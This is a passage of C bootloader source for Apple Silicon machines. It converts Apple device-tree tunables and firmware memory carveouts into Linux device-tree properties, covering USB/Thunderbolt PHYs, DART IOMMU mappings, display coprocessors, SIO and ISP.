0xc000, 0x1000, true}, {"tunable_DP_LN1_AUSPMA_TX_TOP", "apple,tunable-lane1-dp", 0x13000, 0x1000, true}, {"tunable_USB_LN0_AUSPMA_RX_TOP", "apple,tunable-lane0-usb", 0x9000, 0x1000, true}, {"tunable_USB_LN0_AUSPMA_RX_EQ", "apple,tunable-lane0-usb", 0xa000, 0x1000, true}, {"tunable_USB_LN0_AUSPMA_RX_SHM", "apple,tunable-lane0-usb", 0xb000, 0x1000, true}, {"tunable_USB_LN0_AUSPMA_TX_TOP", "apple,tunable-lane0-usb", 0xc000, 0x1000, true}, {"tunable_USB_LN1_AUSPMA_RX_TOP", "apple,tunable-lane1-usb", 0x10000, 0x1000, true}, {"tunable_USB_LN1_AUSPMA_RX_EQ", "apple,tunable-lane1-usb", 0x11000, 0x1000, true}, {"tunable_USB_LN1_AUSPMA_RX_SHM", "apple,tunable-lane1-usb", 0x12000, 0x1000, true}, {"tunable_USB_LN1_AUSPMA_TX_TOP", "apple,tunable-lane1-usb", 0x13000, 0x1000, true}, {"tunable_CIO_LN0_AUSPMA_RX_TOP", "apple,tunable-lane0-cio", 0x9000, 0x1000, true}, {"tunable_CIO_LN0_AUSPMA_RX_EQ", "apple,tunable-lane0-cio", 0xa000, 0x1000, true}, {"tunable_CIO_LN0_AUSPMA_RX_SHM", "apple,tunable-lane0-cio", 0xb000, 0x1000, true}, {"tunable_CIO_LN0_AUSPMA_TX_TOP", "apple,tunable-lane0-cio", 0xc000, 0x1000, true}, {"tunable_CIO_LN1_AUSPMA_RX_TOP", "apple,tunable-lane1-cio", 0x10000, 0x1000, true}, {"tunable_CIO_LN1_AUSPMA_RX_EQ", "apple,tunable-lane1-cio", 0x11000, 0x1000, true}, {"tunable_CIO_LN1_AUSPMA_RX_SHM", "apple,tunable-lane1-cio", 0x12000, 0x1000, true}, {"tunable_CIO_LN1_AUSPMA_TX_TOP", "apple,tunable-lane1-cio", 0x13000, 0x1000, true}, }; static int dt_append_atc_tunable(int adt_node, int fdt_node, const struct adt_tunable_info *tunable_info) { u32 tunables_len; const struct atc_tunable *tunable_adt = adt_getprop(adt, adt_node, tunable_info->adt_name, &tunables_len); if (!tunable_adt) { printf("ADT: tunable %s not found\n", tunable_info->adt_name); if (tunable_info->required) return -1; else return 0; } if (tunables_len % sizeof(*tunable_adt)) { printf("ADT: tunable %s with invalid length %d\n", tunable_info->adt_name, tunables_len); return -1; } u32 n_tunables = tunables_len / sizeof(*tunable_adt); for (size_t j = 0; j < n_tunables; j++) { const struct atc_tunable *tunable = &tunable_adt[j]; if (tunable->size != 32) { printf("kboot: ATC tunable has invalid size %d\n", tunable->size); return -1; } if (tunable->offset % (tunable->size / 8)) { printf("kboot: ATC tunable has unaligned offset %x\n", tunable->offset); return -1; } if (tunable->offset + (tunable->size / 8) > tunable_info->reg_size) { printf("kboot: ATC tunable has invalid offset %x\n", tunable->offset); return -1; } if (fdt_appendprop_u32(dt, fdt_node, tunable_info->fdt_name, tunable->offset + tunable_info->reg_offset) < 0) return -1; if (fdt_appendprop_u32(dt, fdt_node, tunable_info->fdt_name, tunable->mask) < 0) return -1; if (fdt_appendprop_u32(dt, fdt_node, tunable_info->fdt_name, tunable->value) < 0) return -1; } return 0; } static void dt_copy_atc_tunables(const char *adt_path, const char *dt_alias) { int ret; int adt_node = adt_path_offset(adt, adt_path); if (adt_node < 0) return; const char *fdt_path = fdt_get_alias(dt, dt_alias); if (fdt_path == NULL) { printf("FDT: Unable to find alias %s\n", dt_alias); return; } int fdt_node = fdt_path_offset(dt, fdt_path); if (fdt_node < 0) { printf("FDT: Unable to find path %s for alias %s\n", fdt_path, dt_alias); return; } for (size_t i = 0; i < sizeof(atc_tunables) / sizeof(*atc_tunables); ++i) { ret = dt_append_atc_tunable(adt_node, fdt_node, &atc_tunables[i]); if (ret) goto cleanup; } return; cleanup: /* * USB3 and Thunderbolt won't work if something went wrong. Clean up to make * sure we don't leave half-filled properties around so that we can at least * try to boot with USB2 support only. */ for (size_t i = 0; i < sizeof(atc_tunables) / sizeof(*atc_tunables); ++i) fdt_delprop(dt, fdt_node, atc_tunables[i].fdt_name); printf("FDT: Unable to setup ATC tunables for %s - USB3/Thunderbolt will not work\n", adt_path); } static int dt_set_atc_tunables(void) { char adt_path[32]; char fdt_alias[32]; for (int i = 0; i < MAX_ATC_DEVS; ++i) { memset(adt_path, 0, sizeof(adt_path)); snprintf(adt_path, sizeof(adt_path), "/arm-io/atc-phy%d", i); memset(fdt_alias, 0, sizeof(adt_path)); snprintf(fdt_alias, sizeof(fdt_alias), "atcphy%d", i); dt_copy_atc_tunables(adt_path, fdt_alias); } return 0; } static const struct adt_tunable_info acio_tunables[] = { /* NHI tunables */ {"hi_up_tx_desc_fabric_tunables", "apple,tunable-nhi", 0xf0000, 0x4000, true}, {"hi_up_tx_data_fabric_tunables", "apple,tunable-nhi", 0xec000, 0x4000, true}, {"hi_up_rx_desc_fabric_tunables", "apple,tunable-nhi", 0xe8000, 0x4000, true}, {"hi_up_wr_fabric_tunables", "apple,tunable-nhi", 0xf4000, 0x4000, true}, {"hi_up_merge_fabric_tunables", "apple,tunable-nhi", 0xf8000, 0x4000, true}, {"hi_dn_merge_fabric_tunables", "apple,tunable-nhi", 0xfc000, 0x4000, true}, {"fw_int_ctl_management_tunables", "apple,tunable-nhi", 0x4000, 0x4000, true}, /* M3 tunables */ {"top_tunables", "apple,tunable-m3", 0x0, 0x4000, true}, {"hbw_fabric_tunables", "apple,tunable-m3", 0x4000, 0x4000, true}, {"lbw_fabric_tunables", "apple,tunable-m3", 0x8000, 0x4000, true}, /* PCIe adapter tunables */ {"pcie_adapter_regs_tunables", "apple,tunable-pcie-adapter", 0x0, 0x4000, true}, }; struct acio_tunable { u32 offset; u32 size; u64 mask; u64 value; } PACKED; static_assert(sizeof(struct acio_tunable) == 24, "Invalid acio_tunable size"); /* * This is *almost* identical to dt_append_atc_tunable except for the different * tunable struct and that tunable->size is in bytes instead of bits. * If only C had generics that aren't macros :-( */ static int dt_append_acio_tunable(int adt_node, int fdt_node, const struct adt_tunable_info *tunable_info) { u32 tunables_len; const struct acio_tunable *tunable_adt = adt_getprop(adt, adt_node, tunable_info->adt_name, &tunables_len); if (!tunable_adt) { printf("ADT: tunable %s not found\n", tunable_info->adt_name); if (tunable_info->required) return -1; else return 0; } if (tunables_len % sizeof(*tunable_adt)) { printf("ADT: tunable %s with invalid length %d\n", tunable_info->adt_name, tunables_len); return -1; } u32 n_tunables = tunables_len / sizeof(*tunable_adt); for (size_t j = 0; j < n_tunables; j++) { const struct acio_tunable *tunable = &tunable_adt[j]; if (tunable->size != 4) { printf("kboot: ACIO tunable has invalid size %d\n", tunable->size); return -1; } if (tunable->offset % tunable->size) { printf("kboot: ACIO tunable has unaligned offset %x\n", tunable->offset); return -1; } if (tunable->offset + tunable->size > tunable_info->reg_size) { printf("kboot: ACIO tunable has invalid offset %x\n", tunable->offset); return -1; } if (fdt_appendprop_u32(dt, fdt_node, tunable_info->fdt_name, tunable->offset + tunable_info->reg_offset) < 0) return -1; if (fdt_appendprop_u32(dt, fdt_node, tunable_info->fdt_name, tunable->mask) < 0) return -1; if (fdt_appendprop_u32(dt, fdt_node, tunable_info->fdt_name, tunable->value) < 0) return -1; } return 0; } static int dt_copy_acio_tunables(const char *adt_path, const char *dt_alias) { int ret; int adt_node = adt_path_offset(adt, adt_path); if (adt_node < 0) return -1; const char *fdt_path = fdt_get_alias(dt, dt_alias); if (fdt_path == NULL) bail("FDT: Unable to find alias %s\n", dt_alias); int fdt_node = fdt_path_offset(dt, fdt_path); if (fdt_node < 0) bail("FDT: Unable to find path %s for alias %s\n", fdt_path, dt_alias); u32 drom_len; const u8 *drom_blob = adt_getprop(adt, adt_node, "thunderbolt-drom", &drom_len); if (!drom_blob || !drom_len) bail("ADT: Failed to get thunderbolt-drom\n"); fdt_setprop(dt, fdt_node, "apple,thunderbolt-drom", drom_blob, drom_len); for (size_t i = 0; i < sizeof(acio_tunables) / sizeof(*acio_tunables); ++i) { ret = dt_append_acio_tunable(adt_node, fdt_node, &acio_tunables[i]); if (ret) bail_cleanup("ADT: unable to convert '%s' tunable\n", acio_tunables[i].adt_name); } return 0; err: fdt_delprop(dt, fdt_node, "apple,thunderbolt-drom"); fdt_delprop(dt, fdt_node, "apple,tunable-nhi"); fdt_delprop(dt, fdt_node, "apple,tunable-m3"); fdt_delprop(dt, fdt_node, "apple,tunable-pcie-adapter"); return -1; } static int dt_set_acio_tunables(void) { char adt_path[32]; char fdt_alias[32]; for (int i = 0; i < MAX_CIO_DEVS; ++i) { memset(adt_path, 0, sizeof(adt_path)); snprintf(adt_path, sizeof(adt_path), "/arm-io/acio%d", i); memset(fdt_alias, 0, sizeof(adt_path)); snprintf(fdt_alias, sizeof(fdt_alias), "acio%d", i); dt_copy_acio_tunables(adt_path, fdt_alias); } return 0; } static int dt_get_iommu_node(int node, u32 num) { int len; assert(num < 32); const void *prop = fdt_getprop(dt, node, "iommus", &len); if (!prop || len < 0 || (u32)len < 8 * (num + 1)) { printf("FDT: unexpected 'iommus' prop / len %d\n", len); return -FDT_ERR_NOTFOUND; } const fdt32_t *iommus = prop; uint32_t phandle = fdt32_ld(&iommus[num * 2]); return fdt_node_offset_by_phandle(dt, phandle); } static dart_dev_t *dt_init_dart_by_node(int node, u32 num) { int len; assert(num < 32); const void *prop = fdt_getprop(dt, node, "iommus", &len); if (!prop || len < 0 || (u32)len < 8 * (num + 1)) { printf("FDT: unexpected 'iommus' prop / len %d\n", len); return NULL; } const fdt32_t *iommus = prop; u32 iommu_phandle = fdt32_ld(&iommus[num * 2]); u32 iommu_stream = fdt32_ld(&iommus[num * 2 + 1]); printf("FDT: iommu phande:%u stream:%u\n", iommu_phandle, iommu_stream); return dart_init_fdt(dt, iommu_phandle, iommu_stream, true); } static u64 dart_get_mapping(dart_dev_t *dart, const char *path, u64 paddr, size_t size) { u64 iova = dart_search(dart, (void *)paddr); if (DART_IS_ERR(iova)) { printf("ADT: %s paddr: 0x%lx is not mapped\n", path, paddr); return iova; } u64 pend = (u64)dart_translate(dart, iova + size - 1); if (pend != (paddr + size - 1)) { printf("ADT: %s is not continuously mapped: 0x%lx\n", path, pend); return DART_PTR_ERR; } return iova; } static int dt_device_set_reserved_mem(int node, const char *name, uint32_t phandle, u64 iova, u64 size) { int ret; ret = fdt_appendprop_u32(dt, node, "iommu-addresses", phandle); if (ret != 0) bail("FDT: could not append phandle to '%s.iommu-addresses' property: %d\n", name, ret); ret = fdt_appendprop_u64(dt, node, "iommu-addresses", iova); if (ret != 0) bail("FDT: could not append iova to '%s.iommu-addresses' property: %d\n", name, ret); ret = fdt_appendprop_u64(dt, node, "iommu-addresses", size); if (ret != 0) bail("FDT: could not append size to '%s.iommu-addresses' property: %d\n", name, ret); return 0; } static int dt_device_set_reserved_mem_from_dart(int node, dart_dev_t *dart, const char *name, uint32_t phandle, u64 paddr, u64 size) { u64 iova = dart_get_mapping(dart, name, paddr, size); if (DART_IS_ERR(iova)) { printf("ADT: no mapping found for '%s' (0x%012lx iova:0x%08lx)\n", name, paddr, iova); return 0; } return dt_device_set_reserved_mem(node, name, phandle, iova, size); } static int dt_get_or_add_reserved_mem(const char *node_name, const char *compat, u64 paddr, size_t size) { int ret; int resv_node = fdt_path_offset(dt, "/reserved-memory"); if (resv_node < 0) bail("FDT: '/reserved-memory' not found\n"); int node = fdt_subnode_offset(dt, resv_node, node_name); if (node < 0) { node = fdt_add_subnode(dt, resv_node, node_name); if (node < 0) bail("FDT: failed to add node '%s' to '/reserved-memory'\n", node_name); uint32_t phandle; ret = fdt_generate_phandle(dt, &phandle); if (ret) bail("FDT: failed to generate phandle: %d\n", ret); ret = fdt_setprop_u32(dt, node, "phandle", phandle); if (ret != 0) bail("FDT: couldn't set '%s.phandle' property: %d\n", node_name, ret); } u64 reg[2] = {cpu_to_fdt64(paddr), cpu_to_fdt64(size)}; ret = fdt_setprop(dt, node, "reg", reg, sizeof(reg)); if (ret != 0) bail("FDT: couldn't set '%s.reg' property: %d\n", node_name, ret); ret = fdt_setprop_string(dt, node, "compatible", compat); if (ret != 0) bail("FDT: couldn't set '%s.compatible' property: %d\n", node_name, ret); ret = fdt_setprop_empty(dt, node, "no-map"); if (ret != 0) bail("FDT: couldn't set '%s.no-map' property: %d\n", node_name, ret); return node; } static int dt_device_add_mem_region(const char *alias, uint32_t phandle, const char *name) { int ret; int dev_node = fdt_path_offset(dt, alias); if (dev_node < 0) bail("FDT: failed to get node for alias '%s'\n", alias); ret = fdt_appendprop_u32(dt, dev_node, "memory-region", phandle); if (ret != 0) bail("FDT: failed to append to 'memory-region' property\n"); dev_node = fdt_path_offset(dt, alias); if (dev_node < 0) bail("FDT: failed to update node for alias '%s'\n", alias); if (!name) return 0; ret = fdt_appendprop_string(dt, dev_node, "memory-region-names", name); if (ret != 0) bail("FDT: failed to append to 'memory-region-names' property\n"); return 0; } static int dt_set_dcp_firmware(const char *alias) { const char *path = fdt_get_alias(dt, alias); if (!path) return 0; int node = fdt_path_offset(dt, path); if (node < 0) return 0; if (firmware_set_fdt(dt, node, "apple,firmware-version", &os_firmware) < 0) bail("FDT: Could not set apple,firmware-version for %s\n", path); const struct fw_version_info *compat; switch (os_firmware.version) { case V12_3_1: case V12_4: compat = &fw_versions[V12_3]; break; case V13_5B4: case V13_5: case V13_6_2: compat = &fw_versions[V13_5]; break; default: compat = &os_firmware; break; } if (firmware_set_fdt(dt, node, "apple,firmware-compat", compat) < 0) bail("FDT: Could not set apple,firmware-compat for %s\n", path); return 0; } struct disp_mapping { char region_adt[24]; char mem_fdt[24]; bool map_dcp; bool map_disp; bool map_piodma; }; struct mem_region { u64 paddr; u64 size; }; static int dt_add_reserved_regions(const char *dcp_alias, const char *disp_alias, const char *piodma_alias, const char *compat, struct disp_mapping *maps, struct mem_region *region, u32 num_maps) { int ret = 0; dart_dev_t *dart_dcp = NULL, *dart_disp = NULL, *dart_piodma = NULL; uint32_t dcp_phandle = 0, disp_phandle = 0, piodma_phandle = 0; /* Check for display device aliases, if one is missing assume it is an old DT * without display nodes and return without error. * Otherwise init each dart and retrieve the node's phandle. */ if (dcp_alias) { int dcp_node = fdt_path_offset(dt, dcp_alias); if (dcp_node < 0) { printf("FDT: could not resolve '%s' alias\n", dcp_alias); goto err; // cleanup } dart_dcp = dt_init_dart_by_node(dcp_node, 0); if (!dart_dcp) bail_cleanup("FDT: failed to init DART for '%s'\n", dcp_alias); dcp_phandle = fdt_get_phandle(dt, dcp_node); } if (disp_alias) { int disp_node = fdt_path_offset(dt, disp_alias); if (disp_node < 0) { printf("FDT: could not resolve '%s' alias\n", disp_alias); goto err; // cleanup } dart_disp = dt_init_dart_by_node(disp_node, 0); if (!dart_disp) bail_cleanup("FDT: failed to init DART for '%s'\n", disp_alias); disp_phandle = fdt_get_phandle(dt, disp_node); } if (piodma_alias) { int piodma_node = fdt_path_offset(dt, piodma_alias); if (piodma_node < 0) { printf("FDT: could not resolve '%s' alias\n", piodma_alias); goto err; // cleanup } dart_piodma = dt_init_dart_by_node(piodma_node, 0); if (!dart_piodma) bail_cleanup("FDT: failed to init DART for '%s'\n", piodma_alias); piodma_phandle = fdt_get_phandle(dt, piodma_node); } for (unsigned i = 0; i < num_maps; i++) { const char *name = maps[i].mem_fdt; char node_name[64]; snprintf(node_name, sizeof(node_name), "%s@%lx", name, region[i].paddr); int mem_node = dt_get_or_add_reserved_mem(node_name, compat, region[i].paddr, region[i].size); if (mem_node < 0) goto err; uint32_t mem_phandle = fdt_get_phandle(dt, mem_node); if (maps[i].map_dcp && dart_dcp) { ret = dt_device_set_reserved_mem_from_dart(mem_node, dart_dcp, node_name, dcp_phandle, region[i].paddr, region[i].size); if (ret != 0) goto err; } if (maps[i].map_disp && dart_disp) { ret = dt_device_set_reserved_mem_from_dart(mem_node, dart_disp, node_name, disp_phandle, region[i].paddr, region[i].size); if (ret != 0) goto err; } if (maps[i].map_piodma && dart_piodma) { ret = dt_device_set_reserved_mem_from_dart( mem_node, dart_piodma, node_name, piodma_phandle, region[i].paddr, region[i].size); if (ret != 0) goto err; } /* modify device nodes after filling /reserved-memory to avoid * reloading mem_node's offset */ if (maps[i].map_dcp && dcp_alias) { ret = dt_device_add_mem_region(dcp_alias, mem_phandle, maps[i].mem_fdt); if (ret < 0) goto err; } if (maps[i].map_disp && disp_alias) { ret = dt_device_add_mem_region(disp_alias, mem_phandle, maps[i].mem_fdt); if (ret < 0) goto err; } if (maps[i].map_piodma && piodma_alias) { ret = dt_device_add_mem_region(piodma_alias, mem_phandle, maps[i].mem_fdt); if (ret < 0) goto err; } } /* enable dart-disp0, it is disabled in device tree to avoid resetting * it and breaking display scanout when booting with old m1n1 which * does not lock dart-disp0. */ if (disp_alias) { int disp_node = fdt_path_offset(dt, disp_alias); int dart_disp0 = dt_get_iommu_node(disp_node, 0); if (dart_disp0 < 0) bail_cleanup("FDT: failed to find 'dart-disp0'\n"); if (fdt_setprop_string(dt, dart_disp0, "status", "okay") < 0) bail_cleanup("FDT: failed to enable 'dart-disp0'\n"); } /* enable dcp* */ int dcp_node = fdt_path_offset(dt, dcp_alias); if (dcp_node < 0 || fdt_setprop_string(dt, dcp_node, "status", "okay") < 0) bail_cleanup("FDT: failed to enable '%s'\n", dcp_alias); err: if (dart_dcp) dart_shutdown(dart_dcp); if (dart_disp) dart_shutdown(dart_disp); if (dart_piodma) dart_shutdown(dart_piodma); return ret; } static int dt_carveout_reserved_regions(const char *dcp_alias, const char *disp_alias, const char *piodma_alias, struct disp_mapping *maps, u32 num_maps) { int ret = 0; struct mem_region region[MAX_DISP_MAPPINGS]; assert(num_maps <= MAX_DISP_MAPPINGS); // return early if dcp_alias does not exists if (!fdt_get_alias(dt, dcp_alias)) return 0; ret = dt_set_dcp_firmware(dcp_alias); if (ret) return ret; int node = adt_path_offset(adt, "/chosen/carveout-memory-map"); if (node < 0) bail("ADT: '/chosen/carveout-memory-map' not found\n"); /* read physical addresses of reserved memory regions */ /* do this up front to avoid errors after modifying the DT */ for (unsigned i = 0; i < num_maps; i++) { int ret; u64 phys_map[2]; struct disp_mapping *map = &maps[i]; const char *name = map->region_adt; ret = ADT_GETPROP_ARRAY(adt, node, name, phys_map); if (ret != sizeof(phys_map)) bail("ADT: could not get carveout memory '%s'\n", name); if (!phys_map[0] || !phys_map[1]) bail("ADT: carveout memory '%s'\n", name); region[i].paddr = phys_map[0]; region[i].size = phys_map[1]; } return dt_add_reserved_regions(dcp_alias, disp_alias, piodma_alias, "apple,asc-mem", maps, region, num_maps); } static struct disp_mapping disp_reserved_regions_vram[] = { // boot framebuffer, mapped to dart-disp0 sid 0 and dart-dcp sid 0/5 {"vram", "framebuffer", true, true, false}, }; static int dt_vram_reserved_region(const char *dcp_alias, const char *disp_alias) { int ret = 0; int adt_path[4]; struct mem_region region; // return early if dcp_alias does not exists if (!fdt_get_alias(dt, dcp_alias)) return 0; int node = adt_path_offset_trace(adt, "/vram", adt_path); if (node < 0) bail("ADT: '/vram' not found\n"); int pp = 0; while (adt_path[pp]) pp++; adt_path[pp + 1] = 0; ret = adt_get_reg(adt, adt_path, "reg", 0, ®ion.paddr, ®ion.size); if (ret < 0) bail("ADT: failed to read /vram/reg\n"); return dt_add_reserved_regions(dcp_alias, disp_alias, NULL, "framebuffer", disp_reserved_regions_vram, ®ion, 1); } static int dt_reserve_asc_firmware(const char *adt_path, const char *adt_path_alt, const char *fdt_path, bool remap, u64 base) { int ret = 0; int fdt_node = fdt_path_offset(dt, fdt_path); if (fdt_node < 0) { printf("FDT: '%s' not found\n", fdt_path); return 0; } int node = adt_path_offset(adt, adt_path); if (node < 0 && adt_path_alt) node = adt_path_offset(adt, adt_path_alt); if (node < 0) bail("ADT: '%s' not found\n", adt_path); uint32_t dev_phandle = fdt_get_phandle(dt, fdt_node); if (!dev_phandle) { ret = fdt_generate_phandle(dt, &dev_phandle); if (!ret) ret = fdt_setprop_u32(dt, fdt_node, "phandle", dev_phandle); if (ret != 0) bail("FDT: couldn't set '%s.phandle' property: %d\n", fdt_path, ret); } const struct adt_segment_ranges *seg; u32 segments_len; seg = adt_getprop(adt, node, "segment-ranges", &segments_len); unsigned int num_maps = segments_len / sizeof(*seg); for (unsigned i = 0; i < num_maps; i++) { u64 iova = (remap ? seg->remap : seg->iova) | base; char node_name[64]; snprintf(node_name, sizeof(node_name), "asc-firmware@%lx", seg->phys); size_t seg_size = seg->size; if (seg->size & (SZ_16K - 1)) { printf("ADT: segment %s uses non 16k aligned size: 0x%06zx\n", node_name, seg_size); seg_size = ALIGN_UP(seg_size, SZ_16K); } int mem_node = dt_get_or_add_reserved_mem(node_name, "apple,asc-mem", seg->phys, seg_size); if (mem_node < 0) return ret; uint32_t mem_phandle = fdt_get_phandle(dt, mem_node); ret = dt_device_set_reserved_mem(mem_node, node_name, dev_phandle, iova, seg_size); if (ret < 0) return ret; ret = dt_device_add_mem_region(fdt_path, mem_phandle, NULL); if (ret < 0) return ret; seg++; } return 0; } static const char dcpext_aliases[][8] = { "dcpext", "dcpext0", "dcpext1", "dcpext2", "dcpext3", "dcpext4", "dcpext5", "dcpext6", "dcpext7", }; static int dt_reserve_dcpext_firmware(void) { /* reserve asc for all */ for (size_t n = 0; n < ARRAY_SIZE(dcpext_aliases); n++) { const char *dcpext_alias = dcpext_aliases[n]; char adt_path[48]; snprintf(adt_path, sizeof(adt_path) - 1, "/arm-io/%s/iop-%s-nub", dcpext_alias, dcpext_alias); adt_path[sizeof(adt_path) - 1] = '\0'; if (adt_path_offset(adt, adt_path) < 0) continue; int dcpext_node = fdt_path_offset(dt, dcpext_alias); if (dcpext_node < 0) continue; int ret = dt_reserve_asc_firmware(adt_path, NULL, dcpext_alias, true, 0); if (ret < 0) bail("FDT: reserving ASC firmware for %s failed!\n", dcpext_alias); ret = dt_set_dcp_firmware(dcpext_alias); if (ret) continue; // refresh dcpext_node dcpext_node = fdt_path_offset(dt, dcpext_alias); if ((dcpext_node < 0) || (fdt_setprop_string(dt, dcpext_node, "status", "okay") < 0)) printf("FDT: failed to enable '%s'\n", dcpext_alias); } return 0; } static struct disp_mapping disp_reserved_regions_t8103[] = { {"region-id-50", "dcp_data", true, false, false}, {"region-id-57", "region57", true, false, false}, // The 2 following regions are mapped in dart-dcp sid 0 and dart-disp0 sid 0 and 4 {"region-id-94", "region94", true, true, false}, {"region-id-95", "region95", true, false, true}, }; static struct disp_mapping dcpext_reserved_regions_t8103[] = { {"region-id-73", "dcpext_data", true, false, false}, {"region-id-74", "region74", true, false, false}, }; static struct disp_mapping disp_reserved_regions_t8112[] = { {"region-id-49", "asc-firmware", true, false, false}, {"region-id-50", "dcp_data", true, false, false}, {"region-id-57", "region57", true, false, false}, // The 2 following regions are mapped in dart-dcp sid 5 and dart-disp0 sid 0 and 4 {"region-id-94", "region94", true, true, false}, {"region-id-95", "region95", true, false, true}, }; static struct disp_mapping disp_reserved_regions_t600x[] = { {"region-id-50", "dcp_data", true, false, false}, {"region-id-57", "region57", true, false, false}, // The 2 following regions are mapped in dart-dcp sid 0 and dart-disp0 sid 0 and 4 {"region-id-94", "region94", true, true, false}, {"region-id-95", "region95", true, false, true}, // used on M1 Pro/Max/Ultra, mapped to dcp and disp0 {"region-id-157", "region157", true, true, false}, }; #define MAX_DCPEXT 8 static struct disp_mapping dcpext_reserved_regions_t600x[MAX_DCPEXT][2] = { { {"region-id-73", "dcpext0_data", true, false, false}, {"region-id-74", "", true, false, false}, }, { {"region-id-88", "dcpext1_data", true, false, false}, {"region-id-89", "region89", true, false, false}, }, { {"region-id-111", "dcpext2_data", true, false, false}, {"region-id-112", "region112", true, false, false}, }, { {"region-id-119", "dcpext3_data", true, false, false}, {"region-id-120", "region120", true, false, false}, }, { {"region-id-127", "dcpext4_data", true, false, false}, {"region-id-128", "region128", true, false, false}, }, { {"region-id-135", "dcpext5_data", true, false, false}, {"region-id-136", "region136", true, false, false}, }, { {"region-id-143", "dcpext6_data", true, false, false}, {"region-id-144", "region144", true, false, false}, }, { {"region-id-151", "dcpext7_data", true, false, false}, {"region-id-152", "region152", true, false, false}, }, }; static struct disp_mapping disp_reserved_regions_t602x[] = { {"region-id-49", "asc-firmware", true, false, false}, {"region-id-50", "dcp_data", true, false, false}, {"region-id-57", "region57", true, false, false}, // The 2 following regions are mapped in dart-dcp sid 0 and dart-disp0 sid 0 and 4 {"region-id-94", "region94", true, true, false}, {"region-id-95", "region95", true, false, true}, // used on M1 Pro/Max/Ultra, mapped to dcp and disp0 {"region-id-157", "region157", true, true, false}, }; static int dt_set_display(void) { /* lock dart-disp0 to prevent old software from resetting it */ dart_lock_adt("/arm-io/dart-disp0", 0); /* Add "/reserved-memory" nodes with iommu mapping and link them to their * devices. The memory is already excluded from useable RAM so these nodes * are only required to inform the OS about the existing mappings. * Required for disp0, dcp and all dcpext. * Checks for dcp* / disp*_piodma / disp* aliases and fails silently if * they are missing. */ int ret = 0; if (!fdt_node_check_compatible(dt, 0, "apple,t8103")) { ret = dt_carveout_reserved_regions("dcp", "disp0", "disp0_piodma", disp_reserved_regions_t8103, ARRAY_SIZE(disp_reserved_regions_t8103)); if (ret) return ret; ret = dt_carveout_reserved_regions("dcpext", NULL, NULL, dcpext_reserved_regions_t8103, ARRAY_SIZE(dcpext_reserved_regions_t8103)); } else if (!fdt_node_check_compatible(dt, 0, "apple,t8112")) { ret = dt_carveout_reserved_regions("dcp", "disp0", "disp0_piodma", disp_reserved_regions_t8112, ARRAY_SIZE(disp_reserved_regions_t8112)); if (ret) return ret; } else if (!fdt_node_check_compatible(dt, 0, "apple,t6000") || !fdt_node_check_compatible(dt, 0, "apple,t6001") || !fdt_node_check_compatible(dt, 0, "apple,t6002")) { ret = dt_carveout_reserved_regions("dcp", "disp0", "disp0_piodma", disp_reserved_regions_t600x, ARRAY_SIZE(disp_reserved_regions_t600x)); if (ret) return ret; if (os_firmware.version >= V13_5) { for (int n = 0; n < MAX_DCPEXT && ret == 0; n++) { char dcpext_alias[16]; snprintf(dcpext_alias, sizeof(dcpext_alias), "dcpext%d", n); ret = dt_carveout_reserved_regions(dcpext_alias, NULL, NULL, dcpext_reserved_regions_t600x[n], ARRAY_SIZE(dcpext_reserved_regions_t600x[n])); } } } else if (!fdt_node_check_compatible(dt, 0, "apple,t6020") || !fdt_node_check_compatible(dt, 0, "apple,t6021")) { ret = dt_carveout_reserved_regions("dcp", "disp0", "disp0_piodma", disp_reserved_regions_t602x, ARRAY_SIZE(disp_reserved_regions_t602x)); if (ret) return ret; } else if (!fdt_node_check_compatible(dt, 0, "apple,t6022")) { /* noop */ } else { printf("FDT: unknown compatible, skip display reserved-memory setup\n"); return 0; } if (ret) return ret; /* * Ignore errors for dcpext firmware reservation, nodes should be disabled * if the reservation fails allowing basic operation with just dcp. */ if (!fdt_node_check_compatible(dt, 0, "apple,t8112") || !fdt_node_check_compatible(dt, 0, "apple,t6020") || !fdt_node_check_compatible(dt, 0, "apple,t6021") || !fdt_node_check_compatible(dt, 0, "apple,t6022")) dt_reserve_dcpext_firmware(); const display_config_t *disp_cfg = display_get_config(); return dt_vram_reserved_region(disp_cfg->dcp_alias, "disp0"); } static int dt_set_sio_fwdata(void) { const char *path = "sio"; int node = fdt_path_offset(dt, path); if (node < 0) { printf("FDT: '%s' node not found\n", path); return 0; } int ret = sio_setup_fwdata(); if (ret < 0) bail("FDT: failed to set up SIO firmware data: %d\n", ret); int phandle = fdt_get_phandle(dt, node); uint32_t max_phandle; ret = fdt_find_max_phandle(dt, &max_phandle); if (ret) bail("FDT: failed to get max phandle: %d\n", ret); if (!phandle) { phandle = ++max_phandle; ret = fdt_setprop_u32(dt, node, "phandle", phandle); if (ret != 0) bail("FDT: couldn't set '%s.phandle' property: %d\n", path, ret); } for (int i = 0; i < sio_num_fwdata; i++) { struct sio_mapping *mapping = &sio_fwdata[i]; char node_name[64]; snprintf(node_name, sizeof(node_name), "sio-firmware-data@%lx", mapping->phys); int mem_node = dt_get_or_add_reserved_mem(node_name, "apple,asc-mem", mapping->phys, mapping->size); if (mem_node < 0) return ret; uint32_t mem_phandle = fdt_get_phandle(dt, mem_node); int ret = dt_device_set_reserved_mem(mem_node, node_name, phandle, mapping->iova, mapping->size); if (ret < 0) return ret; ret = dt_device_add_mem_region(path, mem_phandle, NULL); if (ret < 0) return ret; } node = fdt_path_offset(dt, path); if (node < 0) bail("FDT: '%s' not found\n", path); for (int i = 0; i < sio_num_fwparams; i++) { struct sio_fwparam *param = &sio_fwparams[i]; if (fdt_appendprop_u32(dt, node, "apple,sio-firmware-params", param->key)) bail("FDT: couldn't append to SIO parameters\n"); if (fdt_appendprop_u32(dt, node, "apple,sio-firmware-params", param->value)) bail("FDT: couldn't append to SIO parameters\n"); } return 0; } struct isp_segment_ranges { u64 phys; u64 iova; u64 remap; u32 size; u32 unk; } PACKED; static int dt_set_isp_fwdata(void) { const char *fdt_path = "isp"; int ret = 0; u64 phys, iova, size; int fdt_node = fdt_path_offset(dt, fdt_path); if (fdt_node < 0) { printf("FDT: '%s' not found\n", fdt_path); return 0; } if (firmware_set_fdt(dt, fdt_node, "apple,firmware-version", &os_firmware) < 0) bail("FDT: Could not set apple,firmware-version for %s\n", fdt_path); const struct fw_version_info *compat; switch (os_firmware.version) { case V13_6_2: compat = &fw_versions[V13_5]; break; default: compat = &os_firmware; break; } if (firmware_set_fdt(dt, fdt_node, "apple,firmware-compat", compat) < 0) bail("FDT: Could not set apple,firmware-compat for %s\n", fdt_path); if (isp_get_heap(&phys, &iova, &size)) { const char *status = fdt_getprop(dt, fdt_node, "status", NULL); if (!status || strcmp(status, "disabled")) { printf("FDT: ISP enabled 